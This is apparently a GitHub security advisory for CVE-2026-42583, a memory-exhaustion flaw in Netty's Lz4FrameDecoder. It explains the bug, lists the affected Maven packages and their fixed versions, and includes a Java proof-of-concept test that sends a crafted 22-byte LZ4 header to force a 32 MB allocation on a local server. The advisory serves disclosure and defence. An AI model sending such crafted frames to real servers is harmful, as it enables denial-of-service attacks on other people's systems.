GHSA-mj4r-2hfc-f8p6

Netty Lz4FrameDecoder is vulnerable to resource exhaustion

En bref

Publiée
Mise à jour
CVE
CVE-2026-42583
CVSS_V3
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Description

### Summary Lz4FrameDecoder allocates a ByteBuf of size `decompressedLength` (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus `compressedLength` payload bytes - 22 bytes if `compressedLength == 1` - to force that allocation. ### Details io.netty.handler.codec.compression.Lz4FrameDecoder#decode Header fields are trusted for sizing. On the compressed path, after `readableBytes >= compressedLength`, the decoder does `ctx.alloc().buffer(decompressedLength, decompressedLength)` then decompresses. ### PoC The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB ```java @Test void test() throws Exception { EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory()); try { AtomicReference<Throwable> serverError = new AtomicReference<>(); CountDownLatch latch = new CountDownLatch(1); ServerBootstrap server = new ServerBootstrap() .group(workerGroup) .channel(NioServerSocketChannel.class) .childHandler(new ChannelInitializer<SocketChannel>() { @Override protected void initChannel(SocketChannel ch) { ch.pipeline() .addLast(new Lz4FrameDecoder()) .addLast(new ChannelInboundHandlerAdapter() { @Override public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) { if (cause instanceof DecoderException) { serverError.set(cause.getCause()); } else { serverError.set(cause); } latch.countDown(); } }); } }); ChannelFuture serverChannel = server.bind(0).sync(); Bootstrap client = new Bootstrap() .group(workerGroup) .channel(NioSocketChannel.class) .handler(new ChannelInboundHandlerAdapter() { @Override public void channelActive(ChannelHandlerContext ctx) { ByteBuf buf = ctx.alloc().buffer(22, 22); buf.writeLong(MAGIC_NUMBER); buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F); buf.writeIntLE(1); buf.writeIntLE(1 << 25); buf.writeIntLE(0); buf.writeByte(0); ctx.writeAndFlush(buf); ctx.fireChannelActive(); } }); ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync(); assertTrue(latch.await(10, TimeUnit.SECONDS)); assertInstanceOf(IndexOutOfBoundsException.class, serverError.get()); clientChannel.channel().close(); serverChannel.channel().close(); } finally { workerGroup.shutdownGracefully(); } } ``` ### Impact Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.

Paquets affectés

PaquetVersions
Maven · io.netty:netty-codec-compressionintroduced 0, fixed 4.2.13.Final
Maven · io.netty:netty-codecintroduced 0, fixed 4.1.133.Final

Références

Sources

SourceLicence
OSV.devCC-BY 4.0 — GitHub Advisory Database